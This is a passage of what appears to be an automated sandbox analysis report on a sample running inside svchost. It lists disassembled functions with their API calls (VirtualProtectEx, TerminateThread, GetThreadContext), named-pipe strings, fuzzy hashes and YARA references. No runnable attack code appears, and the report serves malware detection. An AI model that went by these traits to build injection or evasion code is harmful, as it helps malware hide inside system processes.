String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: ead090be0ed3a0cdea6c2fc4ee05aebdc710564f3f58afb868419e84163d7b64
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 03118B31B14B5087E7508B52E84E31972B8F39AFE4F084224EA5B97798CF3CC9088741

Function 000002A661305C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305C4B
GetThreadContext.KERNEL32 ref: 000002A661305DB5

Part of subcall function 000002A661305A40: GetCurrentThreadId.KERNEL32 ref: 000002A661305A44

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: ef55fef685f6e63ea46eb99b583f4df4a61f4aad81c91252b5b54e42dce67506
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: B4D1C876608B8882EA70DB0AE49C35A77E4F389F85F140216EACE57BA5CF3CC545CB41

Function 000002A6613030B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613030D7
HeapAlloc.KERNEL32 ref: 000002A6613030EA
StrCmpNIW.SHLWAPI ref: 000002A66130316B
GetProcessHeap.KERNEL32 ref: 000002A6613031D1
HeapFree.KERNEL32 ref: 000002A6613031DF

Strings

dialer, xrefs: 000002A661303164

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 7c7cd99321ed215743737de429bd94f26eb07e2b3972f15d08d9bfc67b5388df
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 9431A221B01B5197EB19EF16A80D66977F8FB4AF95F0C4020DE4A27B54EF3CC4A98781

Function 000002A661301A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A661301A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301A58
PathFindFileNameW.SHLWAPI ref: 000002A661301A67
lstrlenW.KERNEL32 ref: 000002A661301A73
StrCpyW.SHLWAPI ref: 000002A661301A86
CloseHandle.KERNEL32 ref: 000002A661301A94

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 331f07f1c56a884374ab0073a6da1fef4a138c943355aa0f21201652e5049059
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 20015731B00A4197EA10EB12A85C35967A9FB89FD5F488435CE8A53754DF3CC98AC341

Function 000002A6613037AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A6613037C8
GetCurrentProcess.KERNEL32 ref: 000002A6613037D6
VirtualProtectEx.KERNEL32 ref: 000002A6613037F8
GetCurrentProcess.KERNEL32 ref: 000002A661303819
VirtualProtectEx.KERNEL32 ref: 000002A66130383A
TerminateThread.KERNEL32 ref: 000002A661303849

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: a03370b0f1b99888e82360213d0c999877f66a98b6860f64e43c67a9d98e6456
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 74111B65B1174087FB25DB22E80E75676A8BB4AF91F080425CA4B27754EF3DC50C8742

Function 000002A6613090F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309103
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A661309198
RtlUnwindEx.NTDLL ref: 000002A6613091E7

Strings

f, xrefs: 000002A661309116
csm, xrefs: 000002A66130917E

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 461482e568c637631849338c705f3eaada8f21a57059969d29b558982f2f280f
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: B5517632B116048BEB18CE25E44CB5937EDF346F99F598124DA1B67788EF39C849C782

Function 000002A6613090D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309103
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A661309198
RtlUnwindEx.NTDLL ref: 000002A6613091E7

Strings

f, xrefs: 000002A661309116
csm, xrefs: 000002A66130917E

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 8cba797f111996638c92f3be6104cd123b816c25eff81f7ebdcd395d45cc5ed0
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: B3317432B0064097E618DF22E84CB1937A9F346F99F098118EA5B27785CF39C949C786

Function 000002A661301AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A661301AD8
StrCmpNIW.SHLWAPI ref: 000002A661301AF2
lstrlenW.KERNEL32 ref: 000002A661301B01
StrCpyW.SHLWAPI ref: 000002A661301B16

Strings

\\?\, xrefs: 000002A661301AE6

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 2b181269923a5af29811523aae9a9715c4d76484b532f06836e06ca17225f93c
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: F1F04F72704A4193EB20DB25F49D399B7B9F745F99F888030CA8A57954DF2CC68DCB41

Function 000002A661303200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002A661303222
StrCpyW.SHLWAPI ref: 000002A661303232
StrCatW.SHLWAPI ref: 000002A66130323E
PathCombineW.SHLWAPI ref: 000002A66130324C

Strings

\\.\pipe\, xrefs: 000002A661303218

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: f5a1980f7c610e79436a11b398841ed97fec700dc0cbf7dd1e7166cb89351677
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: 88F08220B04B8093EA00DB13F90E1597668AB4AFE1F0C8131DE9B27B28CF2CC49AC301

Function 000002A66130A138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A66130A154
GetProcAddress.KERNEL32 ref: 000002A66130A16A
FreeLibrary.KERNEL32 ref: 000002A66130A187

Strings

mscoree.dll, xrefs: 000002A66130A14B
CorExitProcess, xrefs: 000002A66130A163

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 4df176fab3eac4105edad8b9749e0397101cff3075760181ddbd3ecdbcb94a2e
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 22F01261B1164493EF589B60F88D36937A8EF49FD5F4C2419950B57674DF2CC58CC702

Function 000002A6613051B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305236

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 90785e1c39c9657ebb0966d5b819a78446fd2ce121af7c2d17050c564d8ee3bb
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 3B02D932619B84C7E760CB59F49835AB7A4F3C6B91F141015EA8E97BA8DF7CC488CB41

Function 000002A661310860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6613108A2
GetConsoleMode.KERNEL32 ref: 000002A661310960
GetLastError.KERNEL32 ref: 000002A6613109EA

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 8aa0878b4f97bec40b88aa89525aaa0c74d8548bc027b4084bccae2cd63156eb
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: E481D132F106408AFB509B61885E3AD3AA9F746F94F4C4215DE4BB7A95DF3C846AC312

Function 000002A6613057F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305806

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: fa1833fee047542339fb4bee660ae3a7f67998ead17e02992f85dbf256e6eae3
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 5061C736A19B80C7E760CB15E44C31AB7E8F38AB45F141115EA8E53BA8CF7CC548CB46

Function 000002A661311EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A661311EE0
_set_statfp.LIBCMT ref: 000002A661311EFB
_set_statfp.LIBCMT ref: 000002A661311F17
_set_statfp.LIBCMT ref: 000002A661311F53

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 78f1e09ebe91069fde2cfe5cecec6e314050ca4ced6c13427bf44ac0d6cc4aa3
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 8C119E36F58A0003F6A81178E55F3A97069AB77B74F1C0724AA7B276DA8F5C8C4E4202

Function 000002A6612E12B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A6612E12E0
_set_statfp.LIBCMT ref: 000002A6612E12FB
_set_statfp.LIBCMT ref: 000002A6612E1317
_set_statfp.LIBCMT ref: 000002A6612E1353

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 282d6ea6c085c75b559c4eecab295731d6df6bcc1aeec4f266239e96254006d3
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 5911A322F54AC003F6641375E45E36912BC6B57B74F4C0634AA7607BD78F1C8EC98102

Function 000002A661303878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A661303886
GetCurrentProcess.KERNEL32 ref: 000002A6613038B4
VirtualProtectEx.KERNEL32 ref: 000002A6613038D6
GetCurrentProcess.KERNEL32 ref: 000002A6613038F4
VirtualProtectEx.KERNEL32 ref: 000002A661303915

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 5de2aea850e14d70eb11c96f7812abb78d1b7e8127be60e8cf67db41b6ecfb1c
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 8011182AB04B4087EB54DB11E40D76976A8FB4AF95F080029DE8A17794EF3DC5088741

Function 000002A6612D84F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D8598

Strings

csm, xrefs: 000002A6612D857E
f, xrefs: 000002A6612D8516

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: a2496d3c7ddad3d354ece01c9d6e321c93b1a255c05b5a6eb78cde2e634084ab
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 6851AF32F126408BDB14CF25E84CB58339DFB42FA8F59A124DA4643788DF38D9C99746

Function 000002A6612D84D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D8598

Strings

csm, xrefs: 000002A6612D857E
f, xrefs: 000002A6612D8516

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 12aedaf196ce0c41363de339bde528673567e858345642c02141eeaadbb587cc
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: D2316A76B1168097E7149F21E84CB5937ACFB42F98F5AA014EE5A07788CF3CC989D706

Function 000002A6613014B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613014D5
HeapFree.KERNEL32 ref: 000002A6613014E4
GetProcessHeap.KERNEL32 ref: 000002A6613014F0
HeapFree.KERNEL32 ref: 000002A6613014FF
GetProcessHeap.KERNEL32 ref: 000002A66130152A

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: e67698bfd7912cac5bd800f33a611c970f87d1252693b1fcbc527840f8256d78
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: C6115B72A14B8893E754EF66A84D21A77B4F78AF94F084029EB8B23755DF3CC0598741

Function 000002A6613026F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613027D4
StrCpyW.SHLWAPI ref: 000002A6613027ED

Strings

\\.\pipe\, xrefs: 000002A6613027DF

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 8935ae60fd7875c6a519039d36bc47552768e08d90f04f0b2b20aad67cf4645d
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 0371B236B0078147EB64DA369A4C3AA67D8F746FC5F480016DE4B63B99DF39C608C782

Function 000002A6613024DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613025C3
StrCpyW.SHLWAPI ref: 000002A6613025DA

Strings

\\.\pipe\, xrefs: 000002A6613025CE

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: d7711c9e83a1894a29492c74cbdb36065285409975d89d68dcb66489ac376cc9
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 4351EB32B0478583E6349E399A5C36AA6D9F387F91F1D0025CD8B23B99CF7DC4098B81

Function 000002A661310604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A66131071B
GetLastError.KERNEL32 ref: 000002A66131073D

Strings

U, xrefs: 000002A6613106C7

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 26148cedc7e7393984548b0d27a179502ff655e41e471cbadbe1c26882793d0d
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 5941E632B14A4082EB20DF25E44D39AB7A4F389BD4F584021EE8E97788DF3CC455CB41

Function 000002A66130D6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D6F9
LCMapStringW.KERNEL32 ref: 000002A66130D781

Strings

LCMapStringEx, xrefs: 000002A66130D6DC, 000002A66130D6ED

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 5299850c71e00a34e9ab231a5fc861aac41e51d00e5afb72f0c3f518ed32c545
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 50110B36708BC086DB60CF15B44829AB7A8F7C9F94F584126EE8E53B59DF3CC4548B40

Function 000002A6613094A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A6613094E8
RaiseException.KERNEL32 ref: 000002A66130952E

Strings

csm, xrefs: 000002A66130951B

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: bd88ddc39b80fbe161f04c61a485dee9a5def588c444f122c90a1622165b6d6c
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 8F113A32608B8082EB618F15E4483597BE8F789F98F1D4220DE8E17B68DF3DC559CB41

Function 000002A66130D65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000002A66130D6A7

Strings

InitializeCriticalSectionEx, xrefs: 000002A66130D681

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: b4c49a4aae0989cb96510c2edbffded8341e8a649ebced7b63add6fe05655295
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 6EF0E221B10780C3EB059B45F80D29433A8AB89FA4F8C5021A94F23B55CF3CC89DCB42

Function 000002A66130D608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D631
TlsSetValue.KERNEL32 ref: 000002A66130D648

Strings

FlsSetValue, xrefs: 000002A66130D61E

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: b14d3d8136249e5ef12ebf06390420993942a240dd072e76d802ddbc2ef96508
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: 9DE09261B0064093EF059B50FC0E69433AABB89F95F8C9026E90B27795CF3CC85DC742

Function 000002A6612DCB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A6612DCBC5

Strings

October, xrefs: 000002A6612DCBBE
November, xrefs: 000002A6612DCBA8, 000002A6612DCBB2

Memory Dump Source

Source File: 00000019.00000002.2938691158.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a6612d0000_svchost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 34b657edabca4fb7c16a9ca5f99ee603017589a98796ca4246c539c293f6b05d
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 50E09261F005C593EE049B62F44C2E4622D9F85F40F5D5125D9190B252DF3CC9DEC342

Function 000002A661301D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301D9B
HeapAlloc.KERNEL32 ref: 000002A661301DAA
GetProcessHeap.KERNEL32 ref: 000002A661301E1E
HeapFree.KERNEL32 ref: 000002A661301E2C

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

